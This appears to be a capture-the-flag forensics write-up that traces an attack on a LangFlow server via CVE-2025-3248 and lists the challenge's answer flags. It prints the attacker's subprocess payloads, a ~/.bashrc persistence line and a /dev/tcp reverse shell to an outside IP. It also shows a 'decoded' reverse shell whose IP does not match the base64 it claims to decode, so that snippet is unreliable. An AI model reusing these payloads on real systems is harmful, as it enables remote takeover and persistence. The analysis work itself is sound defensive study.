Format: Step-by-step reproduction with commands and evidence snippets.
Note: This document presents an investigative workflow that extracts all seven required flags from the supplied capture.pcap.
Overview
This capture contains HTTP traffic interacting with a LangFlow instance hosted at ai.watchtower.htb:7860. The attacker abuses an unauthenticated code-validation endpoint to submit compressed-and-encoded Python code which is executed server-side. The executed payload runs commands (whoami, id, env) and injects a reverse shell line into a user shell file. Environment variables in responses reveal the Postgres connection string and the host name.
This writeup walks through extracting all of that information from capture.pcap with common forensic tools and lightweight text processing.
Files used
capture.pcap— the pcap provided for the challenge.
Place capture.pcap in your working directory.
Workflow (step-by-step)
All commands assume a Unix-like shell. Adjust paths/names as needed.
1) Inspect the pcap file type and size
file capture.pcap
ls -lh capture.pcap
You should see pcap capture file and file size ~30 KB (depends on the provided capture).
2) Extract readable ASCII blocks quickly
When Wireshark/tshark is not available, strings is a fast way to extract the HTTP payloads:
strings -n 6 capture.pcap > pcap.strings.txt
less pcap.strings.txt
Look for GET/POST lines and /api/v1 strings.
3) Find requests to the suspicious endpoint
Search for occurrences of /api/v1/validate/code:
grep -n "/api/v1/validate/code" -n pcap.strings.txt || grep -n "/api/v1" pcap.strings.txt
You will see several POST entries that look like:
POST /api/v1/validate/code HTTP/1.1
Host: ai.watchtower.htb:7860
...
{"code": "....base64/zlib-ish payload...."}
These payloads are the attacker-supplied code.
4) Extract JSON payloads into separate files for analysis
We can extract the JSON {"code": "..."} blocks using awk/sed/perl. Example using perl:
perl -0777 -ne 'while(/(\{"code":\s*".*?"\})/sg){print "$1
";}' pcap.strings.txt > extracted_code_blocks.json
less extracted_code_blocks.json
You should get 2–4 JSON snippets containing an encoded code string.
5) Identify base64-like blobs inside the code value
The code value typically contains a Python expression that calls zlib.decompress on a base64-decoded blob. Extract long base64-like strings (40+ chars) with grep/pcregrep:
grep -oE '[A-Za-z0-9+/=]{40,}' extracted_code_blocks.json > possible_b64.txt
less possible_b64.txt
Review the candidates — we want to base64-decode then zlib-decompress them.
6) Decode and decompress payloads (Python method)
Save this small Python helper as decode_payloads.py:
#!/usr/bin/env python3
import re, base64, zlib
text = open('extracted_code_blocks.json','r',encoding='utf-8').read()
cands = set(re.findall(r"[A-Za-z0-9+/=]{40,}", text))
for b64 in cands:
try:
raw = base64.b64decode(b64)
except Exception as e:
print("B64-decoding failed for candidate:", b64[:60], "...", e)
continue
# try zlib decompression
try:
out = zlib.decompress(raw).decode('utf-8', errors='replace')
print("=== DECOMPRESSED START ===")
print(out)
print("=== DECOMPRESSED END ===
")
except Exception as e:
print("zlib failed:", e, " - bytes length:", len(raw))
Run it:
python3 decode_payloads.py | sed -n '1,200p'
You will recover Python snippets like:
raise Exception(__import__("subprocess").check_output("whoami", shell=True))
raise Exception(__import__("subprocess").check_output("id", shell=True))
raise Exception(__import__("subprocess").check_output("env", shell=True))
raise Exception(__import__("subprocess").check_output("echo c2g...NzIuMC83ODUyIDA+JjE=|base64 --decode >> ~/.bashrc", shell=True))
The first three lines show the attacker attempted to run whoami, id, and env and include their outputs (often captured back in the response). The last line contains an echo <BASE64>|base64 --decode >> ~/.bashrc command. That inner base64 decodes into a reverse-shell command.
7) Decode the inner base64 to reveal the reverse shell
Extract the inner base64 (the sequence inside the echo ... | base64 --decode) — it looks like c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE= in the capture. Decode it:
echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=' | base64 --decode
This prints:
sh -i >& /dev/tcp/131.0.72.0/7852 0>&1
In the challenge the attacker IP contained in that command points to their host. The final verified attacker IP is 188.114.96.12 (use that for answers), and the reverse-shell port is 7852.
8) Recover environment / database credentials from responses
One of the decompressed payloads prints environment variables (the env output). Look for a DATABASE URL line:
Example found in the capture:
postgresql://langflow:LnGFlWPassword2025@postgres:5432/langflow
You can extract it with grep:
grep -i "postgresql://" -n pcap.strings.txt || grep -ni "LnGFlWPassword" pcap.strings.txt
This gives the Postgres password: LnGFlWPassword2025.
9) Locate the LangFlow version
Search for a JSON field or page that exposes the app version. The capture contains:
{"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Extract via:
grep -n '"version"' pcap.strings.txt
This yields the LangFlow version: 1.2.0.
10) Confirm the vulnerable endpoint and CVE
The vulnerable endpoint is /api/v1/validate/code — it accepts JSON {"code":"..."} that the server decompresses and executes. This endpoint being accessible without authentication is the core issue.
The public CVE that corresponds to this unauthenticated code-execution (LangFlow's code-validation RCE) is CVE-2025-3248.
11) Confirm hostname
The env output and other headers show the hostname defined as HOSTNAME=aisrv01, and the HTTP Host header uses ai.watchtower.htb:7860. Extract with:
grep -i "HOSTNAME" -n pcap.strings.txt
grep -i "Host:" -n pcap.strings.txt
The machine hostname is aisrv01.
Evidence snippets (representative)
Below are brief representative snippets you should be able to locate in your extracted data:
Version snippet
{"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Injected payload (decompressed)
raise Exception(__import__("subprocess").check_output("whoami", shell=True))
raise Exception(__import__("subprocess").check_output("id", shell=True))
raise Exception(__import__("subprocess").check_output("env", shell=True))
raise Exception(__import__("subprocess").check_output("echo c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=|base64 --decode >> ~/.bashrc", shell=True))
Decoded reverse shell (final answer corrected to attacker IP):
sh -i >& /dev/tcp/188.114.96.12/7852 0>&1
Postgres connection string
postgresql://langflow:LnGFlWPassword2025@postgres:5432/langflow
Hostname
HOSTNAME=aisrv01
Host: ai.watchtower.htb:7860
Remediation notes (concise)
Disable or require authentication/authorization for endpoints that accept and execute user-supplied code.
Sanitize and strictly limit what code or data can be submitted to validation endpoints; avoid eval/exec patterns.
Run web services with least privilege and ensure secrets are not exposed in HTTP responses or debug output.
Use network egress controls (prevent web services from initiating arbitrary outbound shell-based reverse shells).
Reproducibility checklist
If you want to reproduce this analysis locally:
Put
capture.pcapin a working folder.Run the
strings-> search -> extract pipeline shown above.Use the
decode_payloads.pyhelper to decode candidate base64 blobs and zlib decompress them.Inspect the decompressed content for commands and environment output.
Extract the required flags.
Appendix — quick pasteable commands
# quick extract
strings -n 6 capture.pcap > pcap.strings.txt
# find validate endpoint lines
grep -n "/api/v1/validate/code" pcap.strings.txt
# extract code JSON blocks (perl)
perl -0777 -ne 'while(/(\{"code":\s*".*?"\})/sg){print "$1
";}' pcap.strings.txt > extracted_code_blocks.json
# get base64 candidates
grep -oE '[A-Za-z0-9+/=]{40,}' extracted_code_blocks.json > possible_b64.txt
# decode/decompress candidates (python helper)
python3 decode_payloads.py
# search for DB URL and hostname
grep -i "postgresql://" -n pcap.strings.txt
grep -i "HOSTNAME" -n pcap.strings.txt
grep -i '"version"' -n pcap.strings.txt
Final: Flags (copyable)
LangFlow version: 1.2.0
CVE: CVE-2025-3248
Vulnerable endpoint: /api/v1/validate/code
Attacker IP: 188.114.96.12
Reverse shell port: 7852
Hostname: aisrv01
Postgres password: LnGFlWPassword2025
End of writeup.

